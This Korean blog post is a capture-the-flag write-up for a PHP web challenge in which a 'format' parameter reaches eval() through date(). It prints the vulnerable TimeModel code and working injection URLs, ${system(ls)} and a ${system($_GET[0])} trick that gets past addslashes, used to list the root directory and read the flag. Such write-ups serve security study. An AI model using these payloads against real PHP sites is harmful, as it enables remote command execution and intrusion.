티스토리 뷰

728x90
반응형

처음에 제공받은 URL에 접속하면 위와 같은 화면이 나옵니다. 그리고 URL은 아래와 같은 형식이 존재했습니다.

http://206.189.16.37:30549/?format=r

처음엔 format 에 r 값이 어떤 의미인지 몰랐고, 이것저것 다양한 알파벳, 숫자, 특수문자를 넣어보았을 때 패턴을 찾을 수 있었습니다. 어떤 문자는 날짜 형식이 변환되어져서 나왔고, 어떤 문자는 문자그대로 출력되었었습니다.

그러다가 문제에 파일이 따로 첨부되어있는 것을 확인하였고, 아래와 같은 코드를 확인할 수 있었습니다.

<?php
class TimeModel
{
    public function __construct($format) // ?format=r
    {
        $this->format = addslashes($format); // \" \' \\ \0x00

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second"; // random
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

TimeModel 이라는 클래스의 소스코드입니다. 간단히 말해, URL GET parameter로 넘겨준 format 값이 $format 변수에 들어가고, 날짜 값은 random하게 generate 되어져서 $prediction 값에 들어갑니다. 그리고 마지막에 화면에 출력되기 전에 getTime() 함수로부터 eval 함수가 실행되어져 $time 변수에 특정한 값이 대입됩니다.

 

여기서 특정한 값이 바로 저희가 입력한 값이 될 $format 변수입니다. 만약에 $format에 r 이라고 입력했을 경우 eval 함수는 아래와 같이 변환될 것입니다.

eval('$time = date("r", strtotime("랜덤한 날짜 문자열 값"));');

그리고 위에서 말했듯이 패턴 분석할 때 알아낸 것 중에 하나가 php 의 date함수는 존재하지 않는 날짜 옵션이 들어올 경우 옵션 문자열 그대로 출력하는 특징이 존재함을 확인한 바 있습니다.

이를 이용하여 PHP의 Simple syntax 를 이용해서, 특정 명령을 수행하고 그 반환값을 출력하도록 하였습니다.

http://206.189.16.37:30549/?format=${system(ls)}

위와 같이 입력하면, 아래와 같이 현재 경로의 파일 목록이 나옵니다.

참고로 time 이 들어갈 자리에 안들어가고 최상단에 system(“ls”)의 결과가 나온 이유는 PHP의 원리 때문입니다. 아래와 같이 작성하고 출력했을 때, echo 가 없음에도 불구하고 최상단에 system(“ls”)의 결과가 나옵니다. PHP에서 system 함수는 시스템 함수를 실행하고 그 결과를 바로 출력하기 때문입니다.

<!DOCTYPE html>
<html>
<body>

<?php
$txt = "hello ${system("ls")} bye";
//echo "$txt";
?>

</body>
</html>

소스파일을 다운로드 받았으면 알겠지만, flag 의 경로는 최상단 루트 디렉토리에 위치하고 있습니다. 그렇기 때문에 cat /flag 나 ls -al 를 하기 위해서는 어쨋거나 따옴표가 필요하게 됩니다. 하지만 아래 코드에서 보면 알다시피 $format 파라미터를 addslashes 로 필터링하고 있음을 알 수 있습니다.

$this->format = addslashes($format);

그렇기 때문에 이를 우회 해야하는데, 그 방법으로는 $_GET[0] 으로 파라미터를 추가로 받는 것입니다. 참고로 $_GET[a] 라고 하여도 동작하지만, 실질적으로는 에러가 납니다. 하지만 낮은 레벨의 에러라서 실행을 중단하지는 않습니다. (Reference : https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple)

http://206.189.16.37:30549/?format=${system($_GET[0])}&0=ls%20-al %2f;

위 코드처럼 GET parameter 0 을 추가로 이용해서 문자열을 받게끔 한다면, 따옴표를 별도로 사용하지 않고도 명령을 수행할 수 있게 됩니다.

flag 이름이 flagVUKDt 로 되어 있는 걸 볼 수 있습니다. 이제 cat flagVUKDt 만 하면 플래그를 확인할 수 있습니다.

728x90
반응형
댓글